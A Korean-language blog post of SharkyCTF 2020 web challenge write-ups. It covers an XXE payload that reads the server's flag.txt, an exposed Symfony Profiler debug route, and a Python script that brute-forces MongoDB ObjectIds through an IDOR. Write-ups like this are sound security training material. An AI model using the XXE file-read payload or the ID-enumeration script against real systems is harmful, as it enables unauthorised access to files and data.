SHARKYCTF2020] Write ups - WEB

노션으로 옮김·2020년 5월 12일
1

wargame

목록 보기
48/59
post-thumbnail

WEB

XXExternalXX

One of your customer all proud of his new platform asked you to audit it. To show him that you can get information on his server, he hid a file "flag.txt" at the server's root.

xxexternalxx.sharkyctf.xyz

접속해보면

news 섹션에 가보라고 알려주며

news 섹션에는 xml파일을 파라미터로 받아 데이터를 출력해주고 있다.

풀이

XXE 문제이다.
pastebin에서 flag.txt를 엔티티로 출력하는 xml 파일을 생성한다.
주의할 점은 문제 페이지에서 출력하는 엘리먼트가 <root>, <data>로 정해져 있기 때문에 맞춰줘야 한다.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>
 <root>
  <data>&ent;</data>
</root>

해당 파일을 파라미터로 전달하면 플래그를 확인할 수 있다.

shkCTF{G3T_XX3D_f5ba4f9f9c9e0f41dd9df266b391447a}

Logs In ! Part 1

Data printed on one of our dev application has been altered, after questioning the team responsible of its development, it doesn't seem to be their doing. The H4XX0R that changed the front seems to be a meme fan and enjoyed setting the front.

We've already closed the RCE he used, there is a sensitive database running behind it. If anyone could access it we'll be in trouble. Can you please audit this version of the application and tell us if you find anything compromising, you shouldn't be able to find the admin session.

The application is hosted at logs_in

접속하면

간단한 안내문구가 있는 페이지를 확인할 수 있다.

풀이

페이지 하단에 툴바가 있는데 이것을 클릭하면

위와 같은 Symfony Profiler 관리페이지가 표시된다.
그리고 빨간 박스의 링크를 클릭하면 라우팅 소스를 확인할 수 있다.

그 중, 디버거로 가는 링크를 확인하여 이것을 request하면

   /**
     * @Route("/e48e13207341b6bffb7fb1622282247b/debug")
     * @return Response
     */
    public function debug(Profiler $profiler)
    {
        $profiler->enable();
        return $this->render('main/debug.html.twig');
    }

플래그를 확인할 수 있다.

Containment Forever

Hello, welcome on "Containment Forever"! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.

containment-forever.sharkyctf.xyz

두 가지 페이지가 있다.

/confinement 에서는 어떤 목록을 확인할 수 있는데

각 게시글을 클릭하면 내용을 확인할 수 있다.

/flag 에서는 플래그로 추정되는 데이터 목록을 확인할 수 있지만 오브젝트 id는 공개되어 있지 않다.

풀이

두 가지의 페이지에서 보여주는 데이터 형식이 같은 것으로 볼 때, /confinement에서 IDOR을 이용해 /flag의 출력 데이터에 접근해야 된다는 것을 짐작할 수 있었다.

데이터를 접근할 때 사용되는 ObjectId의 LSB 1바이트를 임의로 변경해보면 다음과 같은 오류를 확인할 수 있다.

TypeError: /app/views/item.ejs:28
    26|     </nav>
    27|     <div class="container">
 >> 28|       <h1><%= item.name %></h1>
    29|       <h2><span class="badge badge-success">Written by <%= item.pseudo %></span></h2>
    30|       <hr>
    31|       <img src="<%= item.image %>"/>

Cannot read property 'name' of null
    at eval (/app/views/item.ejs:12:31)
    at item (/app/node_modules/ejs/lib/ejs.js:679:17)
    at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:272:36)
    at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:478:10)
    at View.render (/app/node_modules/express/lib/view.js:135:8)
    at tryRender (/app/node_modules/express/lib/application.js:640:10)
    at Function.render (/app/node_modules/express/lib/application.js:592:3)
    at ServerResponse.render (/app/node_modules/express/lib/response.js:1012:7)
    at Item.findOne (/app/index.js:78:9)
    at /app/node_modules/mongoose/lib/model.js:4889:16
    at /app/node_modules/mongoose/lib/model.js:4889:16
    at /app/node_modules/mongoose/lib/helpers/promiseOrCallback.js:24:16
    at /app/node_modules/mongoose/lib/model.js:4912:21
    at _hooks.execPost (/app/node_modules/mongoose/lib/query.js:4380:11)
    at /app/node_modules/kareem/index.js:135:16
    at process._tickCallback (internal/process/next_tick.js:61:11)

mongoose의 Item.findOne으로 DB에 접근하고 있는 것으로 보아 ObjectId는 실제 몽고DB에 저장되있는 objectId 값일 것이다.

objectIdtimestamp, random, count의 세 가지 값으로 구성된다.

https://docs.mongodb.com/manual/reference/method/ObjectId/

문제 페이지에서는 random이 고정되어 있고 /flag 출력데이터의 시간 값은 계산할 수 있기 때문에 count 값을 증가시키는 것으로 /flag 출력데이터의 ObjectId를 브루트포스하여 크랙할 수 있다.

from datetime import datetime
import time
import requests

strs = '5e70da94d7b1600013655bb5'

_ts = int(strs[:8],16)
_rand_h = strs[8:(8+10)]
_count = int(strs[(8+10):], 16)


def tsToDs(ts):
    #timestamp to datetime
    return datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')
def dsToTs(ds):
    #datetime to timestamp
    obj_datetime = datetime.strptime(ds, '%Y-%m-%d %H:%M:%S')
    return int(time.mktime(obj_datetime.timetuple()))

def getDifDs(end, start):
    #parameter format: 2020-03-17 07:11:32
    ts = dsToTs(end)
    ts2 = dsToTs(start)
    return ts - ts2

start = '2020-03-17 14:11:32'
end = '2020-03-17 14:11:32'
dif_flag1 = getDifDs('2020-03-21 09:13:22', start)
dif_flag2 = getDifDs('2020-04-13 15:50:18', start)
print ('dif : ' + str(dif_flag1))


obj_ts_flag = hex(_ts + dif_flag1)[2:]
obj_ts_flag2 = hex(_ts + dif_flag2)[2:]


url = 'http://containment-forever.sharkyctf.xyz/item/'

import os.path
def findObj(obj):
    for c in range(0x200):
        payload = obj + _rand_h + hex(_count+c)[2:]
        print ('[*] payload: {' + payload + '}')
        res = requests.get(url + payload)
        if res.text.find('TypeError') == -1:
            print ('found!!')
            print ('payload: ' + payload)
            return payload

key = []
key.append(findObj(obj_ts_flag))
key.append(findObj(obj_ts_flag2))

print ('Enter this payload to get flag')
print (key)

코드를 실행하여 구한 ObjectId 값에 접근하면 플래그를 확인할 수 있다.

shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}


PWNABLE

K1k00 4 3v3r

https://velog.io/@woounnan/SHARKYCTF2020-K1k00-4-3v3r

0개의 댓글